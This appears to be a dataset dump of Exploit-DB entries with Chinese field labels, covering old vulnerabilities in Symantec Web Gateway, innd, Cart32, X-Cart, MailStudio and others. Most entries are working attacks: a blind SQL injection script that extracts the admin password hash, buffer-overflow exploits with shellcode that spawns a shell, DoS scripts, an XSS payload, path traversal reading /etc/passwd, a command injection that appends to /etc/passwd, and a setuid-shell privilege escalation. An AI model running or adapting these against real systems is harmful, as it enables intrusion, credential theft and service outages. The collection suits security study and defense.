QLWD/code_shield huggingface dataset:
标题: Symantec Web Gateway 5.0.2 - 'blocked.php?id' Blind SQL Injection EDB-ID: 20038 CVE: 2012-2574 类型: WEBAPPS 平台: LINUX 发布日期: 2012-07-23 漏洞利用脚本: #!/usr/bin/python

######################################################################################
# Exploit Title: Symantec Web Gateway 5.0.2 (blocked.php id parameter) Blind SQL Injection
# Date: Jul 23 2012
# Author: muts
# Version: Symantec Web Gateway 5.0.2
# Vendor URL: http://www.symantec.com
#
# Timeline:
#
# 29 May 2012: Vulnerability reported to CERT
# 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
# 26 Jun 2012: Email received from Symantec for additional information
# 26 Jun 2012: Additional proofs of concept sent to Symantec
# 06 Jul 2012: Update received from Symantec with intent to fix
# 20 Jul 2012: Symantec patch released: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00
# 23 Jul 2012: Public Disclosure
#
######################################################################################

import urllib
import time
import sys
from time import sleep

# Set your timing variable. A minimum value of 200 (2 seconds) was tested on localhost.
# This might need to be higher on production systems.

timing=300

def check_char(i,j,timing):

 url =  ("https://172.16.254.111/spywall/blocked.php?d=3&file=3&id=1)" +
  " or 1=(select IF(conv(mid((select password from users),%s,1),16,10) "+
  "= %s,BENCHMARK(%s,rand()),11) LIMIT 1&history=-2&u=3") % (j,i,timing)
 start=time.time()
 urllib.urlopen(url)
 end =time.time()
 howlong=int(end-start)
 return howlong

counter=0
startexploit=time.time()
print "[*] Symantec \"Wall of Spies\" hash extractor"
print "[*] Time Based SQL injection, please wait..."
sys.stdout.write("[*] Admin hash is : ")
sys.stdout.flush()

for m in range(1,33):
 for n in range(0,16):
  counter= counter+1
  output = check_char(n,m,timing)
  if output > ((timing/100)-1):
   byte =hex(n)[2:]
   sys.stdout.write(byte)
   sys.stdout.flush()
   break
endexploit=time.time()
totalrun=str(endexploit-startexploit)
print "\n[*] Total of %s queries in %s seconds" % (counter,totalrun) URL: https://www.exploit-db.com/exploits/20038
标题: Cart32 3.0 - 'expdate' Administrative Information Disclosure EDB-ID: 20019 CVE: 2000-0430 类型: REMOTE 平台: WINDOWS 发布日期: 2000-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/1358/info

By appending the string "/expdate" to a request for the cart32.exe executable, (http:&nbsp;//target/cgi-bin/cart32.exe/expdate) an attacker can access an error message followed by a debugging page containing the server variables, the Cart32 administration directory and possibly the contents of the cgi-bin.

http:&nbsp;//target/cgi-bin/cart32.exe/expdate URL: https://www.exploit-db.com/exploits/20019
标题: AnalogX SimpleServer:WWW 1.0.5 - Denial of Service EDB-ID: 20015 CVE: 2000-0473 类型: DOS 平台: WINDOWS 发布日期: 2000-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/1349/info

If a long url is sent to port 80 on a SimpleServer WWW 1.05 it could cause the service to stop responding. A restart of the server service is required inorder to regain normal functionality. 

http://target/cgi-bin/long_string_here URL: https://www.exploit-db.com/exploits/20015
标题: Mandrake 7.0/7.1 / RedHat Kon2 0.3.9 - '/usr/bin/fld' Input File Overflow EDB-ID: 20024 CVE: 2000-0607 类型: LOCAL 平台: LINUX 发布日期: 2000-08-01 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/1371/info

KON (Kanji On Console) is a package for displaying Kanji text under Linux and comes with two suid binaries which are vulnerable to buffer overflows. "fld", one of the vulnerable programs, accepts options input from a text file. Through this mechanism it is possible to input arbitrary code into the stack and spawn a root shell. The other binary, kon, suffers from a buffer overflow as well. The buffer overflow in kon can be exploited via the -StartupMessage command line option, and fld via the command line options: -t bdf <file to be read> 
*/

/* Exploit code for /usr/bin/fld
  
   Compile with : gcc -o xp xp.c
   
   Made by : E-Ligth (Hugo Oliveira Dias) 01/08/2000 
*/


 #include <string.h>
 #include <stdlib.h>
 #include <stdio.h>

 #define OFFSET 0
 #define BUFFSIZE 541
 #define NOP 0x90

 char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/zh";

 unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
 }

 int main(int argc,char *argv[])
 {
   int bsize = BUFFSIZE;
   int offset = OFFSET;
  int i;
   long *addr_ptr, addr;
   char *ptr,*buf,*env;
   char arg[30];

  if (!(buf = malloc(bsize))) {
      printf("Can't allocate memory.\n"); 
      exit(0);
   }
 
 
  ptr = buf;
  for (i = 0; i < bsize; i++)
 
     *(ptr++) = shellcode[i];
   
  buf[519] = 0x3c; /* Saved EBP 0xbffffa3c */ 
  buf[520] = 0xfa;
  buf[521] = 0xff;
  buf[522] = 0xbf;
 
  buf[523] = 0x10; /* Return Address  0xbffff710 */ 
  buf[524] = 0xf7;
  buf[525] = 0xff;
  buf[526] = 0xbf;
    
  buf[527] = 0x90; /* fp variable 0x804bf90 */
  buf[528] = 0xbf;
  buf[529] = 0x04;
  buf[530] = 0x08;
 
  buf[531] = 0xef; /* variable thats shouldn�t be destroyed 0xbffffbef */
  buf[532] = 0xfb;  
  buf[533] = 0xff;
  buf[534] = 0xbf;
    
  buf[535] = 0x60; /* variable thats shouldn�t be destroyed 0x40013460 */
  buf[536] = 0x34;
  buf[537] = 0x01;
  buf[538] = 0x40;
   
  memcpy(buf,"-type \"",7);
  buf[540] = '\0';
  buf[539] = '\"';
 
  memcpy(arg,"-type bdf ./code",16);
  arg[16] = '\0';   
 
  env = (char *) malloc(bsize + 10);
  memcpy(env,"EGG=",4);
 
  strcat(env,buf);
 
  putenv(env);
 
  system("/bin/bash");
 
   exit(0); URL: https://www.exploit-db.com/exploits/20024
标题: Computer Associates eTrust Intrusion Detection 1.4.1.13 - Weak Encryption EDB-ID: 20012 CVE: 2000-0559 类型: LOCAL 平台: WINDOWS 发布日期: 2000-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/1341/info

A weak encryption scheme exists in Computer Associates eTrust Intrusion Detection System (formerly known as SessionWall-3) password which authorizes users to view and configure the application's registry settings.

Provided that either a remote or local user has access to the registry, it is possible to decrypt the password into plaintext with the use of an exploit tool (sw3passw.exe) or through simple XORing techniques.

This password along with the key is stored in the following registry location:
HKEY_LOCAL_MACHINE\Software\ComputerAssociates\SessionWall\1.0\Security\AdminPassword

The first byte will be the length of the key (n), the next (n) bytes are the key, the remaining bytes are the encrypted password with the exception of the last byte which is a terminating null. 

20012-1.exe - Administrator password decryptor for Win 9x/NT.
20012-2.zip - Source code (use TASM). 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20012-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20012-2.zip URL: https://www.exploit-db.com/exploits/20012
标题: X-Cart Gold 4.5 - 'products_map.php?symb' Cross-Site Scripting EDB-ID: 20010 CVE: 2012-2570 类型: WEBAPPS 平台: PHP 发布日期: 2012-07-21 漏洞利用脚本: ######################################################################################
# Exploit Title: X-Cart Gold 4.5 (products_map.php symb parameter) XSS Vulnerability
# Date: Jul 21 2012
# Author: muts
# Version: X-Cart Gold 4.5
# Vendor URL: http://www.x-cart.com/
######################################################################################

X-Cart Gold implements a degree of XSS filtering but it is incomplete.
The "symb" parameter of "products_map.php" is vulnerable to XSS and can be bypassed by using
HTML anchor methods and URL encoding.

Timeline:

29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
21 Jul 2012: Public Disclosure

PoC:

http://victim/xcart/products_map?symb=%22%20onmousemove=javascript:eval%28unescape%28%26quot%3balert%28%22xss%22%29%3B%26quot%3B%29%29%3EAAAAAA URL: https://www.exploit-db.com/exploits/20010
标题: Alt-N MDaemon 2.8.5 - UIDL Denial of Service EDB-ID: 20020 CVE: 2000-0501 类型: DOS 平台: WINDOWS 发布日期: 2000-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/1366/info

A remote user is capable of crashing Alt-N MDaemon 2.8.5.0 by executing the pass command, then the UIDL command and quitting the mail server before the UIDL has returned a response. This must be done before the user is presented with the POP3 login banner. Restarting the application is required in order to regain normal functionality. 

Perform the following very quickly:

+OK <target> POP service ready using MDaemon
v2.8.5.0 T

User <username>
+OK <username>... Recipient ok
pass <password>
-ERR that command is valid only in the AUTHORIZATION state!
uidl
-ERR unknown POP command!
quit
+OK
.
quit
+OK <username> <target> POP Server signing off (mailbox empty) URL: https://www.exploit-db.com/exploits/20020
标题: Max Feoktistov Small HTTP server 1.212 - Buffer Overflow EDB-ID: 20017 CVE: 2000-0484 类型: DOS 平台: WINDOWS 发布日期: 2000-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/1355/info

A buffer overflow is present in certain versions of the Small HTTP Server . The overflow in question is triggered by an overlong (65000 or more characters) malformed HTTP GET request to the webserver. 
                                                                      
#!/usr/bin/python                                                     
#                                                                     
# Small HTTP Server DoS Proof of Concept Code.                        
# Vulnerability Discovered by USSR Labs(http://www.ussrback.com)      
# Simple Script by Prizm(Prizm@Resentment.org)                        
#                                                                     
# By connecting to port 80(http) on a system running Small HTTP Server
and issuing a GET                                                     
# command followed by 65000 bytes, the service will crash.            
#                                                                     
# This *simple* little script will cause http.exe to crash.           
                                                                      
import httplib                                                        
                                                                      
h = httplib.HTTP('xxx.xxx.xxx.xxx') #replace x's with ip              
h.putrequest('GET', 'A' * 65000)                                      
                                                                      
#end URL: https://www.exploit-db.com/exploits/20017
标题: Veritas Software Volume Manager 3.0.2/3.0.3/3.0.4 - File Permission EDB-ID: 20018 CVE: 2000-0494 类型: LOCAL 平台: SOLARIS 发布日期: 2000-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/1356/info


A vulnerability exists in the Volume Manager product, versions 3.0.x, from Veritas Software. Volume Manager is a popular disk management package. Volume Manager running on Solaris platforms prior to Solaris 8 are vulnerable.

Upon startup, the /etc/rc2.d/S96vmsa-server script is executed. It never explicitly sets a umask, and therefore inherits the parent umask, which is unset. When the server starts, it creates a file named .server_pids, in the directory /var/opt/vmsa/logs. As no umask is set, its permissions are set to 666. (user, group and world readable and writable).

The control script used to control various aspects of the Storage Administrator server will, upon getting a request to stop the server, execute the contents of the .server_pids file. As any user can alter the contents of the .server_pids file, a would be attacker can execute arbitrary commands by placing them in the .server_pids file, and waiting for an administrator to call the stop routine of the control script (/opt/VRTSvmsa/bin/vmsa_server). This will cause the code in the .server_pids file to be executed as the user running the script. In most cases this will be root.

This vulnerability requires that the administrator run the vmsa_server script with the stop command. It will not be invoked upon a shutdown.

Solaris 8 machines are not susceptible to this vulnerability, as the umask of the system is set to 022 prior to the execution of the /etc/rc2.d/S96vmsa-server script. As a result, the .server_pids file is created non-world and non-group writable, and the contents of this file cannot be altered. 

foo@bar> id
uid=500(foo) gid=25(programmers)
foo@bar> ls -alt /var/opt/vmsa/logs/.server_pids
-rw-rw-rw- 1 root root 27 Jun 8 16:06 /var/opt/vmsa/logs/.server_pids
foo@bar> cat >> /var/opt/vmsa/logs/.server_pids
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
^D
foo@bar> cat /var/opt/vmsa/logs/.server_pids
kill 328
kill 329
kill 337
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
foo@bar>

# wait for root to stop the server manually

root@bar> /opt/VRTSvmsa/bin/vmsa_server -k
Stopping VERITAS VM Storage Administrator Server
root@bar> ls -alt /var/tmp
total 406
drwxrwxrwt 2 sys sys 512 Jun 8 17:46 .
-rwsr-xr-x 1 root other 192764 Jun 8 17:46 ksh
-rw------- 1 root root 387 Jun 8 17:46 wsconAAArqayVa:0.0
drwxr-xr-x 26 root sys 512 Jun 8 09:51 ..

# as an unprivileged user, run the suid-root shell we just created...

foo@bar> /var/tmp/ksh
# id
uid=500(foo) gid=25(programmers) euid=0(root)
# URL: https://www.exploit-db.com/exploits/20018
标题: Shadow Op Software Dragon Server 1.0/2.0 - Multiple Denial of Service Vulnerabilities EDB-ID: 20016 CVE: 2000-0480 类型: DOS 平台: WINDOWS 发布日期: 2000-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/1352/info

Two denial of service vulnerabilities exist in the Dragon Server package, versions 1.00 and 2.00, from Shadow Ops Software. By supplying large arguments to two different network services, it is possible to cause these services to be innaccessible.

By sending a USER command to the ftp server, and placing a buffer of approximately 16,500 characters as the argument to the command, it is possible to crash the ftp service.

By sending a buffer of approximately 16,500 characters to the telnet server in place of a user name, it is also possible to crash this service.

These both appear to be due to insufficient bounds checking. 

#!/usr/bin/python                                                     
#                                                                     
# Dragon Server(ftp) DoS Proof of Concept Code.                       
# Vulnerability Discovered by USSR Labs(http://www.ussrback.com)      
# Simple Script by Prizm(Prizm@Resentment.org)                        
#                                                                     
# By connecting to port 21(ftp) on a system running Dragon FTP Server 
v1.00/2.00 and typing                                                 
# USER (16500 bytes) the service will crash                           
#                                                                     
# This *simple* little script will cause Dragon Server's ftp service  
to crash.                                                             
                                                                      
from ftplib import FTP                                                
                                                                      
ftp = FTP('xxx.xxx.xxx.xxx') # Replace x's with ip                    
ftp.login('A' * 16500)                                                
ftp.quit() URL: https://www.exploit-db.com/exploits/20016
标题: Gnome 1.0/1.1 / Group X 11.0 / XFree86 X11R6 3.3.x/4.0 - Denial of Service EDB-ID: 20023 CVE: 2000-0504 类型: DOS 平台: LINUX 发布日期: 2000-06-19 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1369/info

A denial of service vulnerability exists in libICE, part of the X11 windowing system. Any libICE application which creates inet listening sockets can be remotely crashed. This is due to a bug in the handling of the SKIP_STRING macro. By supplying a large value for the skip value, it is possible to cause a pointer to point to uninitialized memory. This in turn will cause a segfault.

This vulnerability will affect any application using TCP listening sockets in libICE. However, one more widespread use of libICE in this configuration is in the gnome-session program, part of the GNOME package. It is possible to cause the X session of a user to end by performing this denial of service against someone running GNOME.

/* icebreak.c - Chris Evans */
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int
main(int argc, const char* argv[])
{
  unsigned char c;
  unsigned int i;
  unsigned short s;
  char blankbuf[1000];

  memset(blankbuf, '\0', sizeof(blankbuf));

  /* Assume fd 1 is stdout */

  /* ICE connection header */
  /* First, pick an endian-ness */
  /* Byte 1: Major opcode. Must be 0 */
  c = 0;
  write(1, &c, 1);
  /* Byte 2: Minor opcode. Must be ICE_ByteOrder (1) */
  c = 1;
  write(1, &c, 1);
  /* Byte 3: Byte-order. We'll go for IceLSBfirst (0) */
  c = 0;
  write(1, &c, 1);
  /* Byte 4: Unused. Write 0 */
  c = 0;
  write(1, &c, 1);
  /* Bytes 5-8: integer length. Must be zero for byte-order message. */
  i = 0;
  write(1, &i, 4);

  /* Next message - ICE_ConnectionSetup */
  /* Byte 1: Major opcode. 0 for core ICE protocol message */
  c = 0;
  write(1, &c, 1);
  /* Byte 2: Minor opcode. ICE_ConnectionSetup (2) */
  c = 2;
  write(1, &c, 1);
  /* Bytes 3, 4: versionCount & authCount */
  c = 255;
  write(1, &c, 1);
  write(1, &c, 1);
  /* Bytes 5-8, int length. Must be at least 8 */
  i = 8;
  write(1, &i, 4);
  /* Now, bytes are part of iceConnectionSetupMsg */
  /* This is an extra 8 bytes */
  /* Byte 1: "must authenticate" */
  c = 0;
  write(1, &c, 1);
  /* Bytes 2-8: unused */
  write(1, blankbuf, 7);

  /* Now we're writing into the malloc'ed message data space */
  /* First, a string. Give it's 16bit length a big value to get ICE code
   * to iterate off the end of the buffer
   */
  s = 65535;
  write(1, &s, 2);

  /* And some blank to get the (total) 56 char data read finished */
  write(1, blankbuf, 54);
} URL: https://www.exploit-db.com/exploits/20023
标题: 3R Soft MailStudio 2000 2.0 - Arbitrary File Access EDB-ID: 20008 CVE: 2000-0526 类型: REMOTE 平台: CGI 发布日期: 2000-06-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/1335/info
 
MailStudio 2000 is vulnerable to multiple attacks.
 
It is possible for a remote user to gain read access to all files located on the server via the usage of the "/.." string passed to a CGI, thereby compromising the confidentiality of other users email and password, as well as other configuration and password files on the system.
 
It is also possible to set a password for those system user accounts which don't have one in place (ex: operator, gopher etc).
 
There is also a input validation vulnerability in the userreg.cgi. This CGI uses a shell to execute certain commands. Passing any command directly after %0a in the arguments of the CGI will allow a remote user to execute the commands as root.
 
userreg.cgi also has an unchecked which could allow remote attackers to execute arbitrary code as root.

Mail view vulnerability:
mailview.cgi?cmd=view&fldrname=inbox&select=1&html=../../../../../../etc/passwd

userreg.cgi vulnerability:
userreg.cgi?cmd=insert&lang=eng&tnum=3&fld1=test999%0acat</var/spool/mail/login>>/etc/passwd URL: https://www.exploit-db.com/exploits/20008
标题: ColdFusion Server 2.0/3.x/4.x - Administrator Login Password Denial of Service EDB-ID: 19996 CVE: 2000-0538 类型: DOS 平台: MULTIPLE 发布日期: 2000-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/1314/info

Due to a faulty mechanism in the password parsing implementation in authentication requests, it is possible to launch a denial of service attack against Allaire ColdFusion 4.5.1 or previous by inputting a string of over 40 000 characters to the password field in the Administrator login page. CPU utilization could reach up to 100%, bringing the program to halt. The default form for the login page would prevent such an attack. However, a malicious user could download the form locally to their hard drive, modify HTML tag fields, and be able to submit the 40 000 character string to the ColdFusion Server.

Restarting the application would be required in order to regain normal functionality.


The Administrator login page can be typically accessed via:
http://target/cfide/administrator/index.cfm

Modify the field size and POST action in the HTML tags to allow for the input of a character string consisting of over 40 000 characters. URL: https://www.exploit-db.com/exploits/19996
标题: ISC innd 2.x - Remote Buffer Overflow EDB-ID: 19998 CVE: 2000-0472 类型: REMOTE 平台: LINUX 发布日期: 2000-06-12 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1316/info

innd 2.2.2 contains a remotely exploitable buffer overflow in code reached when a cancel request is sent to the "control" newsgroup, under the following condition: the cancel request contains a valid Message-ID but the From/Sender fields differ between the cancel request and the post referenced by the Message-ID. This attack only works against machines running INN with "verifycancels = true" 

/*
 * inndx: innd remote 'news' user/group exploit
 *
 * Written on 12th June 2000 by Wojciech Purczynski
 * <wp@elzabsoft.pl> cliph/ircnet 
 *
 * Bug found by Michal Zalewski.
 *
 * Tested on innd-2.2.2-3 default installation on RedHat 6.2.
 *
 * Usage:
 * ./inndx [command [offset]]|nc -i 1 target.host 119
 */

#include <stdio.h>
#include <unistd.h>

#define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */
#define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */
#define JUNKSIZE strlen("\"\" wants to cancel <> by \"")
#define NOP 0x90
#define FAKEPTR 0xbffff1c0
#define COMMAND "echo U have b33n h@x0r3d hahahah|mail root"
#define BODYSIZE 999

/* Code written by me */
char * run_command=
 "\xeb\x3d\x5e\x89\xf7\x31\xc0\x47"
 "\x80\x3f\xff\x75\xfa\x88\x07\x47"
 "\x89\x37\x89\xf3\x46\x80\x3e\x2e"
 "\x75\xfa\x88\x06\x46\x89\x77\x04"
 "\x46\x80\x3e\x2e\x75\xfa\x88\x06"
 "\x46\x89\x77\x08\x89\x47\x0c\x89"
 "\xf9\x8d\x57\x0c\xb0\x0b\xcd\x80"
 "\x89\xc3\x31\xc0\x40\xcd\x80\xe8"
 "\xbe\xff\xff\xff/bin/sh.-c.";

int main(int argc, char *argv[])
{
 int retaddr=RETADDR;
 char messageid[256];
 char sender[16];
 char body[BODYSIZE];
 char * command=COMMAND;
 int midsize;
 int i;

 if (argc>1) command=argv[1];
 if (argc>2) retaddr+=atoi(argv[2]);

 memset(sender, 0, sizeof(sender));
 strcpy(sender+0, "a@a.");  /* EBP */
 *(long*)(sender+4)=(long)retaddr; /* EIP */
 *(long*)(sender+8)=(long)RETADDR+1000; /* Data */
 
 memset(messageid, 'a', sizeof(messageid));
 sprintf(messageid, "%s@a", tmpnam(NULL)+9);
 messageid[strlen(messageid)]='a';
 messageid[BUFSIZE-JUNKSIZE-5-strlen(sender)]=0;

 memset(body, NOP, sizeof(body));
 strcpy(body+sizeof(body)-strlen(run_command)-strlen(command)-2, run_command);
 strcat(body, command);
 strcat(body, "\xff");
 
 fprintf(stderr, "RETADDR=%p\n", retaddr);
 fprintf(stderr, "COMMAND=%s\n", command);
 
 printf("mode reader\r\ngroup test\r\npost\r\n");
 printf("Message-ID: <%s>\r\n", messageid);
 printf("From: %s\r\nSender: %s\r\n", sender, sender);
 printf("Newsgroups: test\r\n");
 printf("Subject: blah\r\n");
 printf("\r\nblah\r\n.\r\n");
 
 printf("group control\r\npost\r\n");
 printf("Message-ID: <%s@test>\r\n", tmpnam(NULL)+9);
 printf("From: a@b.c\r\nSender: a@b.c\r\n");
 printf("Control: cancel <%s>\r\n", messageid);
 printf("Subject: cmsg cancel <%s>\r\n", messageid);
 printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body);
} URL: https://www.exploit-db.com/exploits/19998